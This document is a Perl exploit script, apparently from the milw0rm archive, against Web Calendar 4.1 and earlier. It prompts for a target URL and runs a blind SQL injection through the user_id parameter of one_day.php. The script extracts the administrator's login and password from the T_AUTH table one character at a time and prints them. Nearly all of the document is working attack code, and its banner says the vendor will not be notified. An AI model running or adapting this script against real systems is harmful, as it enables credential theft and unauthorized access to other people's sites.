Web Calendar 4.1 - Blind SQL Injection

#!/usr/bin/perl

use strict;
use LWP::Simple;

print "-+--[ Web Calendar <= 4.1 Blind SQL Injection Exploit ]--+-\n";
print "-+--                                                   --+-\n";
print "-+--           Discovered && Coded By t0pP8uZz         --+-\n";
print "-+--             Discovered On: 24 April 2008          --+-\n";
print "-+--                                                   --+-\n";
print "-+-- Web Calendar suffers from a insecure mysql query  --+-\n";
print "-+--  the vendor has not been notified.. and wont be.. --+-\n";
print "-+--                                                   --+-\n";
print "-+--          Exploit tested in ActivePerl             --+-\n";
print "-+--                                                   --+-\n";
print "-+--[ Web Calendar <= 4.1 Blind SQL Injection Exploit ]--+-\n";

print "\nEnter URL (ie: http://site.com/webcal/): ";
	chomp(my $url=<STDIN>);
	
print "\n\nInjecting Please Wait..\n\n"
	
my $lop = 1;
my $num = 48;
my $sub = 1;
my $res = undef;
my $content = undef;

while($lop) {

	$content = get($url."/one_day.php?user_id=1 AND ASCII(SUBSTRING((SELECT CONCAT(login,char(58),password,char(94)) FROM T_AUTH WHERE role_id=1 LIMIT 0,1),".$sub.",1))=".$num."/*");
	
	if($content !~ /you are not in database/i && $num == 94) { $lop = 0; }
	elsif($content !~ /you are not in database/i) { $res .= chr($num); $num = 48; $sub++; print $res."\n"; }
	else { $num++; }
}

print "\nExploit Successfull! Admin Details Are: ".$res;

# Coded by t0pP8uZz

# milw0rm.com [2008-04-22]